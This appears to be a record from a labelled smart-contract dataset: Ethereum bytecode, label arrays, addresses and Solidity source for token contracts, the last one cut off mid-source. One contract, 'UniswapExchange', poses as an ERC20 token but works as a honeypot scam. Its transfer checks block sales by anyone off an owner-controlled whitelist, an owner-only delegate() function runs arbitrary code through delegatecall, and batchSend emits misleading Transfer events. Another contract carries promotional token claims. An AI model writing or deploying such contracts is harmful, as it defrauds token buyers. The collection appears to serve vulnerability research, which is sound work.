61086e565b6001600160a01b031614610f9b5760405162461bcd60e51b8152600401808060200182810382526029815260200180611be96029913960400191505060405180910390fd5b6001600160a01b038216610fe05760405162461bcd60e51b8152600401808060200182810382526024815260200180611ac06024913960400191505060405180910390fd5b610feb838383610799565b610ff6600082610e26565b6001600160a01b038316600090815260016020526040902061101e908263ffffffff61123716565b506001600160a01b0382166000908152600160205260409020611047908263ffffffff61124316565b5061105a6002828463ffffffff61124f16565b5080826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600061082e8383611265565b60008080806110bc86866112c9565b9097909650945050505050565b60006110d6848484611344565b90505b9392505050565b6109f182826040518060200160405280600081525061140e565b611105848484610f43565b61111184848484611460565b610b525760405162461bcd60e51b8152600401808060200182810382526032815260200180611a8e6032913960400191505060405180910390fd5b60608161117157506040805180820190915260018152600360fc1b60208201526105c6565b8160005b811561118957600101600a82049150611175565b60608167ffffffffffffffff811180156111a257600080fd5b506040519080825280601f01601f1916602001820160405280156111cd576020820181803683370190505b50859350905060001982015b831561121e57600a840660300160f81b828280600190039350815181106111fc57fe5b60200101906001600160f81b031916908160001a905350600a840493506111d9565b50949350505050565b600061082e83836115e0565b5490565b600061082e83836115f8565b600061082e83836116be565b60006110d684846001600160a01b038516611708565b815460009082106112a75760405162461bcd60e51b8152600401808060200182810382526022815260200180611a6c6022913960400191505060405180910390fd5b8260000182815481106112b657fe5b9060005260206000200154905092915050565b81546000908190831061130d5760405162461bcd60e51b8152600401808060200182810382526022815260200180611b9b6022913960400191505060405180910390fd5b600084600001848154811061131e57fe5b906000526020600020906002020190508060000154816001015492509250509250929050565b600082815260018401602052604081205482816113df5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113a457818101518382015260200161138c565b50505050905090810190601f1680156113d15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508460000160018203815481106113f257fe5b9060005260206000209060020201600101549150509392505050565b611418838361179f565b6114256000848484611460565b6107995760405162461bcd60e51b8152600401808060200182810382526032815260200180611a8e6032913960400191505060405180910390fd5b6000611474846001600160a01b03166118d9565b61148057506001610f3b565b60606115a6630a85bd0160e11b611495610e22565b88878760405160240180856001600160a01b03166001600160a01b03168152602001846001600160a01b03166001600160a01b0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561150e5781810151838201526020016114f6565b50505050905090810190601f16801561153b5780820380516001836020036101000a031916815260200191505b5095505050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b038381831617835250505050604051806060016040528060328152602001611a8e603291396001600160a01b038816919063ffffffff6118df16565b905060008180602001905160208110156115bf57600080fd5b50516001600160e01b031916630a85bd0160e11b1492505050949350505050565b60009081526001919091016020526040902054151590565b600081815260018301602052604081205480156116b4578354600019808301919081019060009087908390811061162b57fe5b906000526020600020015490508087600001848154811061164857fe5b60009182526020808320909101929092558281526001898101909252604090209084019055865487908061167857fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050610831565b6000915050610831565b60006116ca83836115e0565b61170057508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155610831565b506000610831565b60008281526001840160205260408120548061176d5750506040805180820182528381526020808201848152865460018181018955600089815284812095516002909302909501918255915190820155865486845281880190925292909120556110d9565b8285600001600183038154811061178057fe5b90600052602060002090600202016001018190555060009150506110d9565b6001600160a01b0382166117fa576040805162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015290519081900360640190fd5b61180381610e0f565b15611855576040805162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015290519081900360640190fd5b61186160008383610799565b6001600160a01b0382166000908152600160205260409020611889908263ffffffff61124316565b5061189c6002828463ffffffff61124f16565b5060405181906001600160a01b038416906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b3b151590565b60606110d68484600085856118f3856118d9565b611944576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106119835780518252601f199092019160209182019101611964565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146119e5576040519150601f19603f3d011682016040523d82523d6000602084013e6119ea565b606091505b50915091506119fa828286611a05565b979650505050505050565b60608315611a145750816110d9565b825115611a245782518084602001fd5b60405162461bcd60e51b81526020600482018181528451602484015284518593919283926044019190850190808383600083156113a457818101518382015260200161138c56fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e7465724552433732313a207472616e7366657220746f20746865207a65726f20616464726573734552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a26469706673582212203488693779e4ef8348d944a943c24ad47182797fb1f3a4afd3cf5a8c40cfef6564736f6c63430006060033
[ 13, 5 ]
0xf25e12ad119aebf0b7d7ac48e716066411c4882d
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100c25760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb1461045e578063aa2f5220146104c4578063d6d2b6ba1461059e578063dd62ed3e14610679576100c2565b806370a08231146103025780638cd8db8a1461036757806395d89b41146103ce576100c2565b806306fdde03146100c7578063095ea7b31461015757806318160ddd146101bd57806321a9cf34146101e857806323b872dd14610251578063313ce567146102d7575b600080fd5b3480156100d357600080fd5b506100dc6106fe565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079c565b604051808215151515815260200191505060405180910390f35b3480156101c957600080fd5b506101d261088e565b6040518082815260200191505060405180910390f35b3480156101f457600080fd5b506102376004803603602081101561020b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610894565b604051808215151515815260200191505060405180910390f35b6102bd6004803603606081101561026757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061093a565b604051808215151515815260200191505060405180910390f35b3480156102e357600080fd5b506102ec610c4d565b6040518082815260200191505060405180910390f35b34801561030e57600080fd5b506103516004803603602081101561032557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c52565b6040518082815260200191505060405180910390f35b34801561037357600080fd5b506103b46004803603606081101561038a57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610c6a565b604051808215151515815260200191505060405180910390f35b3480156103da57600080fd5b506103e3610d0e565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610423578082015181840152602081019050610408565b50505050905090810190601f1680156104505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104aa6004803603604081101561047457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dac565b604051808215151515815260200191505060405180910390f35b610584600480360360408110156104da57600080fd5b81019080803590602001906401000000008111156104f757600080fd5b82018360208201111561050957600080fd5b8035906020019184602083028401116401000000008311171561052b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610dc1565b604051808215151515815260200191505060405180910390f35b610677600480360360408110156105b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061102a565b005b34801561068557600080fd5b506106e86004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113b565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107945780601f1061076957610100808354040283529160200191610794565b820191906000526020600020905b81548152906001019060200180831161077757829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108f057600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008082141561094d5760019050610c46565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a945781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a0957600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b610a9f848484611160565b610aa857600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af457600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b60066020528060005260406000206000915090505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc657600080fd5b60008311610cd5576000610cdd565b6012600a0a83025b60028190555060008211610cf2576000610cfa565b6012600a0a82025b600381905550836004819055509392505050565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610da45780601f10610d7957610100808354040283529160200191610da4565b820191906000526020600020905b815481529060010190602001808311610d8757829003601f168201915b505050505081565b6000610db933848461093a565b905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e1d57600080fd5b600083518302905080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610e7157600080fd5b80600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555060008090505b845181101561101e576000858281518110610edb57fe5b6020026020010151905084600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610f8b57fe5b046040518082815260200191505060405180910390a38073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60028881610ffa57fe5b046040518082815260200191505060405180910390a3508080600101915050610ec4565b50600191505092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461108457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16816040518082805190602001908083835b602083106110cf57805182526020820191506020810190506020830392506110ac565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461112f576040519150601f19603f3d011682016040523d82523d6000602084013e611134565b606091505b5050505050565b6007602052816000526040600020602052806000526040600020600091509150505481565b600080611196735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc23061139c565b9050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614806112415750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8061128b5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806112c157508073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b806113195750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8061136d5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561137c576001915050611395565b611386858461152a565b61138f57600080fd5b60019150505b9392505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16106113db5783856113de565b84845b91509150858282604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b81526014018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401925050506040516020818303038152906040528051906020012060405160200180807fff000000000000000000000000000000000000000000000000000000000000008152506001018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001807f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f815250602001925050506040516020818303038152906040528051906020012060001c925050509392505050565b60008060045414801561153f57506000600254145b801561154d57506000600354145b1561155b57600090506115fa565b600060045411156115b7576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106115b657600090506115fa565b5b600060025411156115d6578160025411156115d557600090506115fa565b5b600060035411156115f5576003548211156115f457600090506115fa565b5b600190505b9291505056fea265627a7a723158209185b05804306fd59029a5ce50adcfbde1ee8b3f64c2f7f8368231f859db4f4464736f6c63430005110032
[ 0, 15, 8 ]
0xf25fecb1920cf4d41d1c439da2a51241625ceac9
// $RickAndMorty is a deflationary token designed to become more scarce over time. All holders of $RickAndMorty will earn more $RickAndMorty that is automatically sent to your wallet by simply by holding $RickAndMorty coins in your wallet. Watch the amount of $RickAndMorty grow in your wallet as all holders automatically receive a 5% fee from every transaction that happens on the $RickAndMorty network. The community receives more $RickAndMorty coins from the fees generated each transaction. // ✅ Telegram: https://t.me/RickAndMortyCoin // ✅ Website: https://www.rick-morty.net/ // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded.s * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * 